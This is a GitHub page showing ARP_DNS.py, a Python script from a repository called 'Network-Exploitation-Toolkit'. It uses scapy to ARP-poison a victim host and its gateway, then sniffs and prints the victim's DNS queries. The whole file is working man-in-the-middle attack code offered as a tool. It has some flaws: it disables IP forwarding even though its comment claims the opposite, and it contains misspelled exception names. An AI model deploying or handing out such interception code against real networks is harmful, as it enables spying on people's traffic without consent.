Network-Exploitation-Toolkit/ARP_DNS.py
33861d2  7 hours ago
@Dylan-halls Dylan-halls Add files via upload
1 contributor
RawBlameHistory    
115 lines (95 sloc)  3.37 KB
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import threading
from termcolor import colored

os.system("clear")

print("""
 
             ________    _______    _________
             \______ \   \      \  /   _____/
              |    |  \  /   |   \ \_____  \ 
              |    `   \/    |    \/        )
             /_______  /\____|__  /_______  /
                     \/         \/        \/ 
""")

os.system('echo 0 > /proc/sys/net/ipv4/ip_forward') #Ensure the victim recieves packets by forwarding them

VIP = input("\nVictim: ")
GW = input("Gateway: ")
IFACE = input("Interface: ")

str(GW)
str(VIP)
str(IFACE)
 
def pkthandler(pkt):
   try:
      ip = pkt[IP]
   except IndexError:
      pass

   try:
      src = ip.src
      dst = ip.dst
   except UnboundLocalError:
      pass

   if pkt.haslayer(DNS):
      dns = pkt[DNS]
      query = dns[DNSQR]
      qtype = dnsqtypes.get(query.qtype)

      print("--------------------------------------------------------\n\n")
      print("                     .:{}:.                            ".format(colored('DNS','red')))
      print("                                                          ")
      print("  \033[1;36mSource IP:\033[00m {} \033[1;36mDestination IP:\033[00m {}".format(src, dst))
      print("  \033[1;36mDomain: \033[00m {}".format(query.qname))
      print("  \033[1;36mQuery Type \033[00m {}".format(qtype))
      print("  \033[1;36mId:\033[00m {}".format(dns.id))
      print("  \033[1;36mOpcode: \033[00m {}".format(dns.opcode))
      print("  \033[1;36mQuery Code: \033[00m {}".format(dns.qr))
      print("  \033[1;36mRcode \033[00m {}".format(dns.rcode))
      print("  \033[1;36mQuestion Count: \033[00m {}".format(dns.qdcount))
      print("  \033[1;36mAnswer Record Count:\033[00m {}".format(dns.ancount))
      print("  \033[1;36mAuthority Record Count:\033[00m {}".format(dns.nscount))
      print("  \033[1;36mAdditional Record Count:\033[00m {}".format(dns.arcount))
      rawLoad = pkt.getlayer(Raw)
      if rawLoad == None: pass
      else:
         print("  \033[1;36mRaw:\n\n\033[00m {}".format(colored(rawLoad, 'green')))

      print(" ")
      print(" ")
      hexdump(pkt)
      
   
def v_poison():
   v = ARP(pdst=VIP, psrc=GW,)
   while True:
      try:   
         send(v,verbose=0,inter=1,loop=1)
      except KeyboardInterupt:                     # Functions constructing and sending the ARP packets
         sys.exit(1)

def gw_poison():
   gw = ARP(pdst=GW, psrc=VIP)
   while True:
      try:
         send(gw,verbose=0,inter=1,loop=1)
      except KeyboardInterupt:
         sys.exit(1)

def format_muti_lines(prefix, string, size=80):
  size -= len(prefix)
  if isinstance(string, bytes):
     string = ''.join(r'\x{:02x}'.format(byte) for byte in string)
     if size % 2:
        size -= 1
  return '\n'.join([prefix + line for line in textwrap.wrap(string, size)])
 
vthread = []
gwthread = []  
 
while True:     # Threads
  vpoison = threading.Thread(target=v_poison)
  vpoison.setDaemon(True)
  vthread.append(vpoison)
  vpoison.start()        
       
  gwpoison = threading.Thread(target=gw_poison)
  gwpoison.setDaemon(True)
  gwthread.append(gwpoison)
  gwpoison.start()
  
  try:
     pkt = sniff(iface=str(IFACE),filter='udp port 53',prn=pkthandler)
  except KeyboardInterrupt:
     os.system("{ cd ..; python3 net.py; }")
     exit(0)
if __name__ == "__main__":
   DNS()

Create ARP_DNS.py